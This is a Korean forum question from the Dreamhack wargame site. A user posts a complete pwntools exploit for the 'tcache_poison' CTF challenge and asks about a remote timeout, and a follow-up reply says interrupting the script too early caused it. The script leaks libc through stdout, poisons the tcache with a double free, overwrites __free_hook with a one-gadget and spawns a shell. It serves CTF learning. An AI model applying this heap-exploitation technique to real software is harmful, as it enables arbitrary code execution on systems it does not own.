timeout관련

from pwn import *
p = remote("host3.dreamhack.games", 15157)
#p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so")
#full_relro이기때문에 hook_overwrite를 고려해볼수도 있고
#double free bug를 써봐야할듯

stdout = e.symbols['stdout']

p.sendline(b'1')
p.sendlineafter(b': ', b'48')
p.sendafter(b': ', str('31337'))
p.sendlineafter(b't\n', b'2')

p.sendlineafter(b't\n',b'4')
p.sendafter(b': ',str('AAAAAAAAA'))
p.sendlineafter(b't\n',b'2')

p.sendlineafter(b't\n', b'1')
p.sendlineafter(b': ', b'48')
p.sendafter(b': ', p64(stdout))

p.sendlineafter(b't\n', b'1')
p.sendlineafter(b': ', b'48')
p.sendafter(b': ', b'BBBBBBBB')
p.sendlineafter(b't\n', b'1')
p.sendlineafter(b': ', b'48')
p.sendafter(b': ', b'\x60')

p.sendlineafter(b't\n', b'3')
p.recvuntil(b'Content: ')
stdout = u64(p.recv(6) + b"\x00" * 2)
print(hex(stdout))
lb = stdout - libc.symbols["IO_2_1_stdout"]
fh = lb + libc.symbols["__free_hook"]

print(hex(lb))
print(hex(fh))

oneshot = lb + 0x4f432

p.sendlineafter(b"t\n", b'1')
p.sendlineafter(b": ", b'70')
p.sendafter(b": ", b"31337")

p.sendlineafter(b"t\n", b'2')

p.sendlineafter(b"t\n", b'4')
p.sendafter(b": ", b'aaaaaaaaa')

p.sendlineafter(b"t\n", b'2')

p.sendlineafter(b't\n', b'1')
p.sendlineafter(b': ', b'70')
p.sendafter(b": ", p64(fh))

p.sendlineafter(b't\n', b"1")
p.sendlineafter(b": ", b'70')
p.sendafter(b': ', b'31337')

p.sendlineafter(b't\n', b"1")
p.sendlineafter(b": ", b'70')
p.sendafter(b': ', p64(oneshot))

p.sendlineafter(b"t\n", b'2')
p.interactive()

저의 exploit코드는다음과 같습니다 local에서 실행시 끝까지 잘 진행되고 결과적으로 onegadget의 주소로 이동해서 터미널에서 ls를 치면
sh: 1: 2t.\x91\xd6: not found

  1. Allocate
  2. Free
  3. Print
  4. Edit
    위와같은 문구가 무한히 반복하며 출력되어 서버에서도 시도했는데 서버는 sendlineafter에서 timeout이 발생하더라구요

Traceback (most recent call last):
File "ex.py", line 17, in <module>
p.sendafter(b': ',str('AAAAAAAAA'))
File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 813, in sendafter
res = self.recvuntil(delim, timeout=timeout)

다른분들의 ex코드들을 여러번 바꿔가며 실행해도 서버에서 sendlineafter부분에서 timeout이 발생합니다 원인이 뭘까요?

#pwnable
작성자 정보
답변 1
avatar
NetRuuner32
대표 업적 없음

해결했습니다 로직은 맞았으나 바로 쉘이 안따져서 제가 키보드인터럽트를 일으켜서 그런거네요.. after 함수를 사용할때는 차분히 기다려 보는 습관을 들여야겠습니다.

2023.11.29. 16:16
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기